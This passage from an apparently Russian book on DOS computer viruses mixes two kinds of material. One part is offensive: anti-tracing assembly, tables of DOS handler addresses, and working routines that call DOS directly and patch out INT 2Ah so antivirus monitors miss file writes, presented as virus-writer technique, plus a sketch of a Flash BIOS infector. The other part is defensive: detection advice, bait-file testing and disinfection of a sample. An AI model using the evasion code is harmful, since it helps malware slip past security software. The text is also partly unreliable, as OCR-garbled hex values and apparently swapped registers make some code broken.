; Вызываем обработчик прерывания INT 60h (до этого момента ; Прерывание INT 60h должно быть перехвачено) int 60h ; Сюда нужно вернуться из прерывания nop ; Сюда реально вернемся, и флаг трассировки будет сброшен, ; то есть трассировка будет прекращена nop ; Обработчик прерывания. При вызове прерывания флаг трассировки ; сбрасывается - при входе в обработчик трассировка будет выключена int60: ; Разрешение прерываний, так как при выходе из обработчика не ; будет восстанавливаться оригинальное значение регистра флагов sti ; Увеличиваем на единицу адрес возврата в стеке push bp mov bp, sp add [bp+2],1 pop bp ; Выходим из прерывания, но не командой IRET, а командой RETF 2, ; чтобы не восстанавливать флаги (и, как следствие, флаг трассировки TF) retf 2
Кроме того, факт трассировки можно достаточно просто обнаружить, применив хорошо известный разработчикам защит от несанкционированного копирования прием аппаратного конвейера, который использует процессор для ускорения работы. При выполнении очередной команды процессор считывает код следующей. Когда придет время выполнения следующей команды, она будет уже считана из памяти, и не нужно будет тратить время на ее чтение. Прием заключается в модификации команд, которые уже оказались в конвейере: если трассировка не ведется, то код команд модифицируется только в памяти, а выполняется та программа, которая находится в конвейере. Если трассировка ведется, то конвейер сбрасывается перед каждой командой трассируемой программы (конвейер сбрасывают такие команды, как JMP, CALL, RET) и выполняется модифицированный код.
; Кодифицируем следующую команду. Команда JMP (безусловный ; переход) заменяется на две команды NOP (нет операции) mov Metka, 9090h ; Переходим, если выполняется немодифицированный код (в случае, ; когда трассировка не ведется), и проходим дальше, если выполняется ; кодифицированный код (в случае трассировки) Metka: jmp NoTrace Trace: ; Сюда попадем при выявленном факте трассировки NoTrace: ; Трассировка не ведется - нормальное выполнение программы
Наконец, последний гвоздь в гроб идеи использования трассировки забит: "Выставленный флаг трассировки можно выявить косвенно, замаскировав аппаратные прерывания, поместив в [SP-1] контрольное значение и дав инструкцию STI. Тогда по изменению слова в стеке можно судить, было трассировочное прерывание или нет".
Выявив факт трассировки прерывания DOS, мониторы начинают выдавать об этом соответствующие сообщения, поэтому даже не самый опытный пользователь догадается, что кто-то (например, вирус) пытается попасть в систему.
Переходим к методу определения оригинального адреса точки входа в DOS, основанному на том, что эти адреса для разных версий и конфигураций DOS имеют в общем случае различные значения, но число их ограничено. А это значит, что их можно просто-напросто выбирать из таблицы (причем не очень большой). Прием не новый, но незаслуженно забытый.
Имея программу, основанную на одном из ранее описанных способов определения реального адреса обработчика DOS, загрузочные дискеты с разными версиями DOS и немного терпения, можно получить примерно вот такую информацию.
Оригинальный обработчик DOS версии 3.30 всегда имеет вид:
; Точка 0 2Е CS: 891ЕВ800 MOV [00В8], ВХ 2Е CS: 8С06ВА00 MOV [00BA], ES СВ RETF ; Точка 1 2Е CS: 3A26FF0D СМР AH,[0DFF] 77DC JA 1443 80FC51 СМР AН, 51 74А1 JZ 140D 80FC64 СМР AН,64 74ВА JZ 143A ;Точка 2
Оригинальные обработчики DOS версий 5.0-7.0 очень похожи. В общем случае они состоят из следующих фрагментов:
Фрагмент 1 (если он присутствует) всегда располагается в нижних адресах памяти. Большинство алгоритмов трассировки заканчивают работу, достигнув этой точки. Для DOS версий 5.0-6.22 этот фрагмент присутствует, если в CONFIG.SYS есть строка DOS=HIGH (вне зависимости от того, осуществляется ли запуск поддерживающего эту опцию драйвера HIMEM.SYS). Если драйвера нет, то JMP FAR просто указывает на фрагмент 2, размещающийся в нижних областях памяти. Если строки DOS=HIGH нет, то фрагмент 1 вырожден (состоит из одной команды внутрисегментного перехода), и обработчик состоит из фрагмента 2.
; Точка 0 90 NОР 90 NOP E8CC00 CALL CheckA20 2E CS: FF2E6A10 JMP FAR NEXTDOS
Фрагмент 2 может располагаться как в верхних, так и в нижних адресах памяти.
; Точка 1 NEXTDOS: FA CLI 80FC6C СМР AН, 6С 77D2 JA 40D0 80FC50 СМР АН, 50 748Е JZ 40A9 ;Точка 2
Для DOS 7.0 структура обработчика, в общем, такая же. Исключение - фрагмент 1 присутствует всегда, вне зависимости от содержимого файла CONFIG.SYS. Теперь приведем конкретные значения адресов, полученные для разных случаев:
| DOS 7.0 (русская версия) | ||
|---|---|---|
| Точка 0 | 00C9:0FB2 | 9090 |
| Точка 1 | FF03:41E7 | 80FA |
| Точка 2 | FF03:420A | 1E06 |
| Точка 2А | FF03:5333 | 2ACD |
| DOS 6.20 (device=himem.sys dos=high | ||
| Точка 0 | 0123:109Е | 9090 |
| Точка 1 | FDC8:40F8 | 80FA |
| Точка 2 | FDC8:411B | 1E06 |
| Точка 2А | FDC8:41D1 | 2ACD |
| DOS 6.20 (dos=high) | ||
| Точка 0 | 0123:109Е | ОЗЕВ |
| Точка 1 | 03AC:40F8 | 80FA |
| Точка 2 | 0ЗAС:411В | 1Е06 |
| Точка 2А | 03AC:41D1 | 2ACD |
| DOS 6.20 | ||
| Точка 1 | 002A:40F8 | 80FA |
| Точка 2 | 002А:411В | 1Е06 |
| Точка 2А | 002A:41D1 | 2ACD |
| DOS 5.0 (device=himem.sys dos=high) | ||
| Точка 0 | 0123:109Е | 9090 |
| Точка 1 | FDC8:40EB | 80FA |
| Точка 2 | FDC8:410E | 1Е06 |
| Точка 2A | FDC8:41C4 | 2ACD |
| DOS 5.0 (dos=high) | ||
| Точка 0 | 0123:109Е | 0ЗЕВ |
| Точка 1 | 03AC:40F8 | 80FA |
| Точка 2 | ОЗАС:411В | 1Е06 |
| Точка 2А | 03AC:41D1 | 2ACD |
| DOS 5.0 | ||
| Точка 1 | 002А:40ЕВ | 80FA |
| Точка 2 | 002А:410Е | 1Е06 |
| Точка 2А | 002A:41D1 | 2ACD |
| DOS 3.30 | ||
| Точка 0 | 0070:05DC | 892E |
| Точка 1 | 0294:1460 | ЗА2Е |
| Точка 2 | 0294:1480 | |
| Точка 2А | 0294:151В | 2ACD |
| DOS 3.10 | ||
| Точка 0 | 0070:0D43 | |
| DOS 3.20 | ||
| Точка 0 | 0070:17D0 | |
Точка 2 является оптимальной, то есть в нее целесообразнее всего передавать управление, чтобы обойти резидентные антивирусные мониторы. Точка 2А - это позиция инструкции INT 2Ah, которую DOS обязательно выполняет в процессе обработки 21-го прерывания.
В конце каждой строки приведены контрольные слова - на тот случай, если по указанному адресу находится нечто иное.
Современные антивирусные мониторы умеют отслеживать факт прямого обращения программ к DOS.
Защиту 21-го прерывания можно организовать более эффективно, используя метод встраивания в ядро операционной системы. Общепринятая схема такова: в точку входа прерывания INT 21h записывается инструкция JMP FAR на обработчик, который проверяет номер функции на безопасность. Он восстанавливает оригинальные инструкции в точке входа прерывания и вызывает обработчик INT 21h. После возврата управления из прерывания, в точку входа снова записывается инструкция JMP FAR, и управление передается программе, вызвавшей INT 21h.
Здесь описан обычный "сплайсинг" (встраивание), который широко применяется разработчиками вирусов. Отметим, что для перехода не обязательно использовать инструкцию JMP FAR (она занимает 5 байт в памяти и не везде может быть размещена). Вместо нее можно применить INT 3, затратив всего 1 байт. В то же время необходимо обеспечить обработку вызовов с кодами 00h, 4Ch, 31h (они не возвращают управление в исходную точку), а также самовызовов (при завершении процессов посредством INT 27h и INT 20h).
Процесс развивается следующим образом. Первый компонент антивирусного монитора встраивается в ядро DOS, а второй - просто перехватывает цепочку 21-го прерывания. Когда программа выполняет инструкцию INT 21h, управление передается второму компоненту. У антивирусных мониторов существует список функций, которые воспринимаются ими как опасные. Они могут сделать проверку на наличие заданной функции в этом списке, затем выставить флаг "проход цепочки" и передать управление дальше. Когда первый компонент получает управление, он проверяет флаг "прохода цепочки". Если он выставлен, то была инструкция INT 21h, поэтому необходимо сбросить флаг "проход цепочки" и передать управление в DOS. Если флаг сброшен, это значит, что был выполнен прямой вызов. В этом случае требуется принимать соответствующие меры против возможных действий вируса.
Эта идея исключительно проста и эффективна. В том или ином виде ее применяют почти все современные антивирусные мониторы. Вот один из таких вариантов.
После трассировки прерывания выполняется обращение к DOS по оригинальному адресу. Программа AVPTSR перехватывает обращение. Точнее, AVPTSR перехватывает INT 2Ah, причем этот вызов произведен из INT 21h, вблизи начала фрагмента. Обработчик INT 08h, то есть таймера, периодически восстанавливает вектор 2Ah, если он был отключен.
Подразумевается, что флаг прохода цепочки 21-го прерывания проверяется в обработчике INT 2Ah.
Для чего нужно такое конструирование? Неужели антивирусные мониторы настолько бдительны, что пресекают любые попытки открыть для модификации ЕХЕ- или СОМ-файл? Да, это действительно так. Авторы антивирусных мониторов обладают достаточно эффективными средствами, чтобы предотвратить прямые обращения к DOS со стороны вирусов.
Обратимся к мнению Ю. Косивцова: "Для обнаружения действия нерезидентных вирусов необходимо контролировать вызов функций DOS с номерами: 3Dh (открытие файла через описатель), 0Fh (открытие файла через FCB и 5Dh) и подфункцию 00h (косвенный вызов DOS). Если при открытии файла обнаружено, что расширение его СОМ, ЕХЕ или SYS, то можно выдавать предупреждающее сообщение".
Список выглядит слишком коротким. Действительно, а что произойдет, если сначала переименовать программный файл? И почему не учтена функция 6Ch (расширенное открытие файла)? А что будет, если открыть файл для чтения, а затем изменить режим доступа прямым обращением к SFT?
Конечно же, авторы антивирусных мониторов не столь наивны. Просто они никогда не раскрывают свои профессиональные секреты. Например, авторы программы AVPTSR реально учли и использовали все эти методики и тонкости.
Итак, предположим, что гипотетический антивирусный супермонитор:
Эти действия монитора порождают соответствующие проблемы при конструировании неотслеживаемого обращения к DOS.
Первая проблема достаточно просто решается с использованием "метода предопределенных адресов".
Для решения второй проблемы стоит проанализировать возможное расположение в обработчике DOS точки перехода на антивирусный монитор. Очевидно, это может быть точка 0 либо точка 1. В самом худшем случае можно допустить, что врезка происходит непосредственно после команды проверки на максимальное значение номера функции. Далее обработчик DOS "растекается" на многочисленные ручейки, поэтому отследить их все крайне затруднительно. По крайней мере, обработчики функций oFh, 3Dh и 5Fh попадают в разные ручейки. Однако, при использовании ограниченного набора функций они могут разместиться и в одном ручейке, что намного упростит решение данной задачи. Функции 3Ch-43h, отвечающие за создание, открытие, закрытие, чтение, запись, атрибуты и перемещение, действительно располагаются в одном общем ручейке. Это позволяет использовать адрес точки 2 для прямого обращения к DOS. Мониторы, скорее всего, не будут отслеживать эту точку.
Решение третьей проблемы также не вызовет особых затруднений. Один из вариантов - замаскировать прерывания таймера и изменить вектор 8-го прерывания перед прямым обращением к DOS. Вместо изменения вектора можно попробовать вставить инструкции IRET в начало текущего (антивирусного) обработчика. При использовании все того же метода "предопределенных адресов" и, зная позицию инструкции INT 2Ah в обработчике DOS, перед прямым обращением к DOS следует просто заменить этот вызов двумя командами NOP.
Рассмотрим две подпрограммы, которые используются для прямого обращения к DOS.
Подпрограмма SetAdr предназначена для определения адреса обработчика DOS методом предопределенных адресов. Для версий DOS, "правильный" адрес которых неизвестен, используется функция DOS 35h (получить вектор прерывания).
Подпрограмма CallDOS позволяет обращаться к DOS напрямую. В код включена проверка на номер функции. Для "безопасных" функций предусмотрен обычный вызов DOS при помощи инструкции INT 21h.
; Процедура установки адреса (один из самых коротких, ; хотя и подозрительных вариантов реализации) SetAdr рrос near ; Устанавливаем указатель на таблицу в регистре SI mov si, offset Table ; Читаем очередное значение сегмента и смещения из таблицы Next: mov es, [si] mov bx, [si+2] ; Проверяем контрольный код в слове, адрес которого получен ; из таблицы. Если результат отрицательный, переходим ; к следующему элементу таблицы cmp es:[bx], 2ACDh jnz Skip ; Сохраняем адрес точки 2А mov Ofs2A, bx mov Seg2A, es ; Сохраняем адрес точки 2 из таблицы mov ax, [si+4] mov Seg21 ,ax mov ax, [si+6] mov Ofs21 ,ax ret Skip: ; Переходим к следующему элементу таблицы add si, 8 ; Проверяем, не закончилась ли таблица. Если таблица закончилась, ; читаем адрес текущего обработчика прерывания cmp [si], 0 jnz Next ; Читаем адреса текущего обработчика прерывания INT 21 h - метод ; "предопределенных адресов" не сработал, точка входа не найдена mov ax, 3521h int 21h mov Ofs21, bx mov Seg21, es ret ; Таблица позиций 2А и 2. Table dw 0FF03h, 5333h, 0FF03h, 420Ah dw 0FDC8h, 41D1h, 0FDC8h, 411Bh dw 0 SetAdr endp
Процедура прямого обращения к DOS CallDOS proc near
; Если функция безопасна, вызываем прерывание обычным способом cmp ah, 3Bh jb Trivial cmp ah, 42h ja Trivial ; 3аменяем вызов прерывания 2Ah на две команды MOP (9090h) ; в обработчике DOS, предварительно ; сохранив первоначальные значения кода push es push ax push bx mov es, cs:Ofs2A mov bx, cs:Seg2A mov ax, es:[bx] mov cs:Save, ax mov es:[bx], 9090h pop bx pop ax pop es ; Вызываем напрямую прерывание DOS pushf call cs:dword ptr Ofs21 ; Восстанавливаем вызов 2Ah push es push ax push bx mov es, cs:Ofs2A mov bx, cs:Seg2A mov ax, cs:Save mov es:[bx], ax pop bx pop ax pop es ret ; Обычное обращение к DOS (используется для безопасных функций) Trivial: int 21h ret ; B этом месте сохраняем значение для кода вызова INT 2Ah Save dw ? ; Обработчик прерывания DOS Ofs21 dw ? Seg21 dw ? ; Адрес вызова INT 2Ah из обработчика DOS Ofs2A dw ? Seg2A dw ? CallDOS endp
Flash-память - энергонезависимая память, которая обеспечивает работоспособность EPROM со встроенной электрической схемой стирания и перепрограммирования. Энергонезависимая память отличается от RAM тем, что она не обнуляется при отсутствии напряжения.
Flash BIOS - Flash-память, которая используется для хранения кода BIOS. Она может быть перепрограммирована - это предусмотрено для облегчения обновления BIOS. Такие микросхемы применяются в 90% портативных компьютеров, в большинстве компьютеров 486DX2, 486DX4, Pentium.
Как известно, BIOS получает управление при запуске компьютера. Все что нужно сделать вирмейкеру - это незаметно модифицировать BIOS, чтобы вирус стартовал перед загрузкой системы компьютера.
Алгоритм работы вируса:
Единственное предназначение INT 19h - быть вызванным в процессе загрузки, чтобы загрузить boot-сектор в память и передать ему управление. Прерывание именно то, которое и требуется изменить.
Нужно иметь в виду, что одновременно читать из памяти Flash BIOS и записывать в нее нельзя. Поэтому во время работы вируса нельзя использовать временные переменные в этой памяти. Более целесообразным является создание вируса для обычного boot-сектора. Этот вирус следует поместить в конец памяти и оттуда устанавливать вектор INT 13h.
AMI BIOS обладает своими специфическими особенностями при размещении в микросхемах Flash-памяти, которые базируются на использовании функции E0h прерывания INT 16h. Самое интересное состоит в том, что однажды внесенный в эту память вирус может запретить повторно использовать указанную функцию. Это запретит антивирусным программам воспользоваться ею в процессе удаления вируса из BIOS компьютера. Исходя из этого, авторам антивирусных программ придется трассировать INT 16h, чтобы получить оригинальный вектор.
Исходный текст вируса, заражающего Flash BIOS.
В этой главе описаны наиболее эффективные методы борьбы с вирусами, защиты от проникновения и лечения. Приведены алгоритмы необходимых действий при подозрении на наличие вируса в компьютере. Описаны меры по предотвращению "эпидемии" путем создания программы-блокировщика.
Рассмотрен пример создания программы-антивируса. Представлены исходные тексты программ с подробными комментариями.
В предыдущих главах состоялось знакомство с компьютерными вирусами, поражающими Flash BIOS, документы текстового процессора Microsoft Word 6.0 for Windows, файлы разных операционных систем и прочие. Пришло время рассмотреть различные способы борьбы с ними.
Итак, что же такое антивирус? Сразу же развеем одну часто возникающую иллюзию. Почему-то многие считают, что антивирус может обнаружить любой вирус, то есть, запустив антивирусную программу или монитор, можно быть абсолютно уверенным в их надежности. Такая точка зрения не совсем верна. Дело в том, что антивирус - это тоже программа, конечно, написанная профессионалом. Но эти программы способны распознавать и уничтожать только известные вирусы. То есть антивирус против конкретного вируса может быть написан только в том случае, когда у программиста есть в наличии хотя бы один экземпляр этого вируса. Вот и идет эта бесконечная война между авторами вирусов и антивирусов, правда, первых в нашей стране почему-то всегда больше, чем вторых. Но и у создателей антивирусов есть преимущество! Дело в том, что существует большое количество вирусов, алгоритм которых практически скопирован с алгоритма других вирусов. Как правило, такие вариации создают непрофессиональные программисты, которые по каким-то причинам решили написать вирус. Для борьбы с такими "копиями" придумано новое оружие - эвристические анализаторы. С их помощью антивирус способен находить подобные аналоги известных вирусов, сообщая пользователю, что у него, похоже, завелся вирус. Естественно, надежность эвристического анализатора не 100%, но все же его коэффициент полезного действия больше 0,5. Таким образом, в этой информационной войне, как, впрочем, и в любой другой, остаются сильнейшие. Вирусы, которые не распознаются антивирусными детекторами, способны написать только наиболее опытные и квалифицированные программисты.
Таким образом, на 100% защититься от вирусов практически невозможно (подразумевается, что пользователь меняется дискетами с друзьями и играет в игры, а также получает информацию из других источников, например из сетей). Если же не вносить информацию в компьютер извне, заразиться вирусом невозможно - сам он не родится.
Итак, что же можно посоветовать, чтобы сталкиваться с вирусами как можно меньше или, по крайней мере, только сталкиваться, не допуская их на жесткий диск своего винчестера. В первую очередь - самые элементарные правила "компьютерной гигиены": проверка дискет на наличие вируса самыми надежными антивирусными программами, такими, например, как AVP или DrWeb. Очень хорошо, если на жестком диске установлен ревизор Adinf. Многие пользователи добавляют строку запуска ревизоров, антивирусов, антивирусных мониторов в конфигурационный файл AUTOEXEC.BAT - тоже весьма действенно.
Есть определенные способы борьбы и с загрузочными вирусами. В установках (SETUP) компьютера предусмотрена защита от записи в MBR. Когда запись начинается, BIOS сразу же ее останавливает и запрашивает подтверждение на разрешение записи. Естественно, следует запретить запись, а затем загрузится со своей, заранее подготовленной, системной дискеты. У большинства компьютерных пользователей такой дискеты нет - а надо бы завести. И это еще не все. Вирусы постоянно совершенствуются, и все их многообразие охватить, конечно, невозможно. Поэтому надо быть готовым, что рано или поздно вирус все-таки попадет на жесткий диск, и встретить его нужно во всеоружии.
В большинстве случаев вирус, заразивший компьютер, помогут обнаружить уже разработанные программы-детекторы. Они проверяют, имеется ли в файлах на указанном пользователем диске специфическая для данного вируса последовательность байт. При обнаружении вируса программа выводит на экран соответствующее сообщение.
Стоит также заметить, что программы-детекторы не слишком универсальны, поскольку способны обнаружить только известные вирусы. Некоторым таким программам можно сообщить специальную последовательность байт, характерную для какого-то вируса, и они смогут обнаружить инфицированные им файлы - например, это умеет Notron AntiVirus или AVSP.
Программа Aidstest устарела и сейчас уже практически не используется. Наиболее широкое распространение получили программы DrWeb и AVP. Благодаря своим новейшим детекторам, они могут обнаружить любые вирусы - как самые старые, так и только что появившиеся. Еще нужно упомянуть детектор Adinf. Эта антивирусная программа обнаруживает все вирусы, не изменяющие длину файлов, невидимые вирусы, и многие другие. Таким образом, эти три программы обеспечат мощнейшую защиту против вирусов. Кстати, на западе тоже предпочитают пользоваться российскими программами DrWeb и AVP.
Спасаясь от вирусов, создайте мощную защиту против них. Установите на своем диске AVP, DrWeb и Adinf. Каждая программа хороша по-своему - пусть защита будет многоуровневой. Все эти программы можно вписать в файл AUTOEXEC.BAT, тогда при загрузке компьютера проверка на заражение вирусом будет проводиться автоматически.
Всегда проверяйте файлы, попадающие на ваш компьютер. Любой из них может быть заражен вирусом, это нужно помнить. Никогда не позволяйте посторонним работать на вашем компьютере - именно они чаще всего приносят вирусы. Особое внимание следует уделять играм - чаще всего вирусы распространяются именно так. Новые игры и программы всегда нужно проверять на вирус.
Когда во время работы компьютер начинает вести себя как-то необычно, первая мысль, приходящая на ум любому пользователю - уж не вирус ли это. В такой ситуации важно правильно оценить свои подозрения и сделать выводы.
Как правило, человек, обладающий некоторым опытом и владеющий соответствующим программным инструментарием, справляется с этой задачей без особых затруднений. Наиболее сложная ситуация - когда действовать приходится в "полевых" условиях, например, на чужой машине.
Типичный вариант: стандартная PC (286, 386...Pentium), как минимум 1Мбайт ОЗУ, как минимум 400Мбайт HDD; возможно наличие принтера, звуковой карты, CDD и прочей периферии. Программное обеспечение: Windows 95, возможно Windows 3.1x, но работают все равно под DOS. Джентльменский набор: Norton Commander 3.0-5.0, Norton Utility 6.0-8.0, свежие антивирусы: AidsTest и DrWeb, русификаторы, архиваторы, резидентные программы и прочее. В качестве обязательного условия - наличие заведомо "чистой" защищенной от записи загрузочной дискеты, содержащей (хотя бы в урезанном виде) вышеупомянутый комплект программ.
Итак, по мнению хозяина компьютер ведет себя странно. Например, программы, которые раньше работали правильно, начинают сбоить или вообще перестают запускаться, компьютер периодически "виснет", экран и динамик воспроизводят необычные видео- и аудиоэффекты. Что будем делать?
Кем и как используется машина? Если сотрудники или хозяин часто приносят мелкие игрушки, гороскопы, устанавливают и стирают различные бухгалтерские программы, то вероятность наличия вируса в машине весьма высока. Крупные игрушки, которые с трудом умещаются даже в упакованном виде в коробку дискет, переносятся с машины на машину редко. При этом они, чаще всего, тщательно проверяются на наличие вирусов.
Вирусы проявляют себя различными способами: проигрывают мелодии, выводят на экран посторонние картинки и надписи, имитируют аппаратные сбои, заставляя дрожать экран. Но, к сожалению, чаще всего вирусы специально себя не обнаруживают. К антивирусным программам прилагаются каталоги с описаниями вирусов (для AidsTest они хранятся в файле aidsvir.txt, для DrWeb - в файле virlist.web). Наиболее полным является гипертекстовый каталог avpve, входящий в состав антивирусного пакета Е. Касперского. В нем можно не только прочитать достаточно подробное описание любого вируса, но и понаблюдать его проявления.
От настоящих вирусов следует отличать так называемые "студенческие шутки", особенно широко распространенные на компьютерах ВУЗов и школ. Как правило, это резидентные программы, которые периодически производят напоминающие работу вирусов видео- и аудиоэффекты. В отличие от настоящих вирусов, эти программы не умеют размножаться. Наличие такого рода программ на "бухгалтерских" компьютерах маловероятно.
Однажды DrWeb 3.20 "ругался" на ВООТ-сектор дискеты, "вылеченной" AidsTest от вируса LzExe, поэтому антивирусным программам тоже не всегда можно доверять. Наличие большого количества файлов, предположительно зараженных вирусом одного и того же класса, с большой достоверностью указывает на присутствие в компьютере неизвестного вируса. Но могут быть и исключения - DrWeb версии 3.15 и ниже активно "ругался" на стандартные DOC-компоненты WinWord 2.0.
Кроме того, DrWeb определяет наличие в памяти компьютера неизвестных резидентных вирусов и Stealth-вирусов. Ошибки при их определении (в последних версиях антивируса) достаточно редки. Версия 3.15, не умеющая лечить вирус Kaczor, исправно заподозрила наличие агрессивного резидента в памяти. Версия же 3.18, умеющая его лечить, в инфицированной системе вообще ничего не заметила, а детектировала и вылечила вирус лишь при загрузке с чистой дискеты. При этом нужно иметь в виду, что предупреждения типа "Странная дата файла", единичные подозрения на СОМ-, ЕХЕ-вирусы и прочее вряд ли могут быть расценены как бесспорное доказательство наличия вируса.
MACRO-вирусы живут исключительно в Windows и никакого негативного влияния на DOS-программы оказать не могут, за исключением того случая, когда они что-либо стерли в Windows-сеансе.
В этом случае основной признак заражения - изменение контрольной суммы байт файла. Это легко обнаруживают антивирусы-инспектора типа Adinf. В качестве крайней меры можно рассматривать прямое изучение кода программ, подозрительных с точки зрения наличия в них вируса. Одно из лучших программных средств для оперативного изучения кода вирусов - программа HackerView (hiew.exe by SEN). Но, поскольку "по умолчанию" компьютер чужой, hiew, td, softice, ida и подобных программ на нем может просто не оказаться. Зато стандартный отладчик debug присутствует точно. Загружаем подозреваемую на наличие вируса программу (в чистой операционной системе) в память при помощи команды debug <имя_программы>. Команда и позволяет дизассемблировать фрагмент кода, команда d - просмотреть его в шестнадцатеричном формате, команда g <адрес> запускает программу на выполнение с остановом в указанной точке, команда t обеспечивает пошаговую трассировку кода, команда г отображает текущее содержимое регистров. Чтобы визуально распознать наличие вируса по коду, конечно, необходим определенный опыт. Вот на что надо обращать особое внимание:
Start: call Metka Metka: pop <r>
если начало программы не содержит последовательности команд, характерных для упаковщика, не исключен факт ее заражения.
cseg segment assume cs:cseg, ds:cseg, ss:cseg org 100h Start: db 1249 dup (OFAh,90h,OFBh,OF8h) mov ah, 4Ch int 21h cseg ends End Start
cseg segment assume cs:cseg, ds:cseg Start: db 1000 dup (0FAh,90h,0FBh,0F8h) mov ah, 4Ch int 21h cseg ends sseg segment stack assume ss:sseg db 118 dup (0FAh,90h,0FBh,0F8h) sseg ends End Start
Скопируем приманки на зараженную машину. Выполним над ними как можно больше операций: запустим, скопируем в другое место винчестера и на дискету, переместим, просмотрим их в NC и DOS (командой dir). При этом желательно несколько раз поменять системное время и дату, потому что вирусы нередко активны не каждый день и не круглые сутки. Чтобы исключить Stealth-эффект, загрузимся с чистой дискеты и рассмотрим внимательно эти файлы. Как правило, достаточно бывает проконтролировать размер файлов и просмотреть их код при помощи F3 - наличие вируса определить несложно.
rt copy a:\test.* .
Точка "." в конце - символ текущего каталога. Потом их можно будет удалить:
rt del test*
Теперь выбираем заведомо зараженную программу и запускаем ее N раз, постоянно изменяя время и дату. Проконтролировать изменение длины поможет та же программа rt:
rt dir test.* > test.txt
Получаем файл test.txt, содержащий список файлов test.* с указанием их длины. Выбираем тот файл приманки, который изменил длину. Вот вирус и пойман.
Ситуация, когда компьютер оказался заражен неизвестным вирусом, встречается не очень часто, но полностью сбрасывать со счетов такую возможность нельзя. Выше рассматривались способы обнаружения вируса и выделения его в чистом виде. Сейчас переходим к исследованию алгоритма работы файловых вирусов для успешной борьбы с ними.
Структура СОМ- и ЕХЕ-программ. Вообще говоря, следует отличать СОМ- и ЕХЕ-программы от СОМ- и ЕХЕ-файлов. Дело в том, что в настоящее время расширение СОМ или ЕХЕ является просто признаком (кстати, необязательным) запускаемой программы. Способ загрузки программы в память и ее запуска определяется операционной системой по внутреннему формату программы. Этот факт часто не учитывали авторы первых вирусов, что приводило к уничтожению некоторых программ вместо их заражения.
СОМ-программа представляет собой часть кода и данных, которая начинается с исполняемой команды и занимает не более 64Кбайт. Например, такую структуру имеет командный процессор COMMAND.СОМ операционной системы MSDOS до версии 6.22 включительно.
Структура ЕХЕ-программы гораздо сложнее. В начале файла ЕХЕ-программы располагается заголовок (см. приложение). Поля ReloCS и ExeIP определяют расположение точки входа в программу, поля ExeSP и ReloSS - расположение стека, поля PartPag и PageCnt - размер корневого сегмента программы. Размер некоторых программ, вычисленный по полям PartPag и PageCnt, может не совпадать с реальным размером файла. Такие программы называются "сегментированными" или "содержащими внутренние оверлеи". Опытные авторы вирусов избегают заражать такие программы. После заголовка может размещаться специальная таблица, точное место расположения которой определяется полем TablOff, а размер - полем ReloCnt. В этой таблице хранятся адреса тех слов в коде программы, которые модифицируются операционной системой во время загрузки программы. Например, просматривая файл программы при помощи утилиты HackerView, можно видеть команду call 0000:1234h. В процессе загрузки программы MS-DOS подставит вместо нулей нужный сегментный адрес, и все будет работать корректно. Кстати, если в поле TablOff указано число 40h или больше, то, скорее всего, это программа в формате Windows. Подобный формат имеет, например, командный процессор Windows 95 COMMAND.COM. Несмотря на свое расширение, он имеет в начале знаменитые символы "MZ" и длину 95Кбайт.
Излечение пришло после использования антивирусов:
DrWeb с: /сир /а1 и AidsTest с: /f /g /q
TEST.COM и TEST.EXE. Увеличение их длины на 1740 байт можно увидеть только на "чистой" машине (Stealth-эффект). Несколько слов об инструментарии. Вообще говоря, выбор дизассемблеров весьма широк. В свое время была широко известна программа DisDoc. По признанию Е. Касперского, он активно пользуется интерактивным дизассемблером IDA. Быстро просмотреть код программы позволяет утилита HackerView. Также возможно использование любого отладчика. В данном случае для изучения кода зараженных приманок использовался дизассемблер Sourcer v5.04. Несмотря на отсутствие некоторых полезных опций и ошибки при дизассемблировании (достаточно редкие), пользоваться программой удобно - упакованная PkLite, она занимает на дискете всего 48Кбайт.
Итак, запускаем дизассемблер командой sr test-сом. На экране появилась темно-синяя лицевая страница. Нажав клавишу "а", можно перейти на страницу опций. Рекомендуется установить опцию "а" - обязательно дизассемблировать фрагмент программы, располагающийся после команд jmp/ret/iret - это позволяет получить ассемблерный код тех фрагментов программ, в которые нет явного перехода (процедуры обработки прерываний, скрытые подпрограммы и так далее). Нажав Enter, вернемся на первую страницу. Запустим процесс дизассемблирования нажатием клавиши "g". В зависимости от производительности компьютера, процесс дизассемблирования длится от нескольких секунд до нескольких минут. Для грубой оценки размера листинга можно принять, что один килобайт кода соответствует десяти-пятнадцати килобайтам текста. 6740 байт зараженной приманки дают 96Кбайт текста+файл test.sdf. Этот очень интересный файл хранит в текстовом виде как опции, использованные при дизассемблировании, так и параметры полученного текста (размещение фрагментов кода и данных, место расположения символических имен и прочее).
Если изменить эти параметры, переименовать файл в test.def и передать его Sourcer в командной строке в качестве параметра, то дизассемблер будет работать в соответствии с новыми инструкциями. Аналогичную операцию проделаем для файла testexe.
Итак.
call sub_1 sub_1: pop si sub si,3
Подобная последовательность символов характерна для очень многих вирусов. Команда call помещает в стек смещение следующей за ней команды. Это значение извлекается вирусом при помощи команды pop si (в то время как обычно это делается командой ret) и помещается в регистр si. Скорректировав эту величину на длину команды call (3 байта), вирус получает возможность корректного обращения к ячейкам памяти относительно кодового сегмента:
mov cs:Data[si], xxxx.
Не случайно DrWeb всегда реагирует на подобные команды в начале программ, выдавая предупреждающее сообщение. Впрочем, это не является обязательным признаком присутствия вируса. Например, устаревшая пристыковочная защита от несанкционированного копирования (НСК) "Nota" также пользуется этим приемом.
cmp ah,83h je loc_9 loc_9: mov dx,1990h iret
Наличие такой проверки использует антивирус-фаг во время детектирования вирусного кода в оперативной памяти. Также антивирус-блокировщик может имитировать присутствие вируса в памяти, предотвращая его внедрение в программное обеспечение компьютера.
cmp cs:data_15[si], 5A4Dh je It_Was_EXE
В случае если программа была заражена по СОМ-алгоритму, вирус просто извлекает первые 3 байта из ячейки памяти по адресу data_15, копирует их в старое начало оригинального кода (по адресу cs:100h) и передает туда управление. Адресу data_15 соответствует 80-ый (если считать от конца) байт зараженной программы.
В случае если программа была заражена по ЕХЕ-алгоритму, вирус вычисляет старую точку входа по сохраненным в data_20 и data_21 значениям полей ReloCS и ExelP, восстанавливает расположение стека по сохраненным в data_18 и data_19 значениям полей ReloSS и ExeSP и передает управление на ReloCS+ES+10h:ExeIP (ES - сегмент PSP; ES+10h - сегмент начала программы; ES+ReloCS+10h - полный сегмент точки входа). Расположение этих адресов в зараженном файле (от конца файла):
data_20 - 60 data_21 - 58 data_18 - 66 data_19 - 64
Еще могут пригодиться сохраненные значения полей PartPag и PageCnt (от конца файла):
data_16+1 - 78 data_16+3 - 76
Для излечения зараженного файла достаточно восстановить измененные значения ячеек, адреса которых только что вычислили, и отсечь 1740 вирусных байт от конца файла.
